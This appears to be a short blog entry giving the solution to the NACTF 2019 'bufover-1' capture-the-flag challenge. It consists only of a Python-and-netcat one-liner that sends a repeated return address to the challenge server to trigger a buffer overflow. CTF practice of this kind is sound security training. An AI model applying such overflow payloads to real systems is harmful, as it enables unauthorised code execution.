System
nactf- bufover-1
whh1323
2019. 9. 25. 09:32
(python -c 'print "\xb2\x91\x04\x08"*8')|nc shell.2019.nactf.com 31462
(python -c 'print "\xb2\x91\x04\x08"*8')|nc shell.2019.nactf.com 31462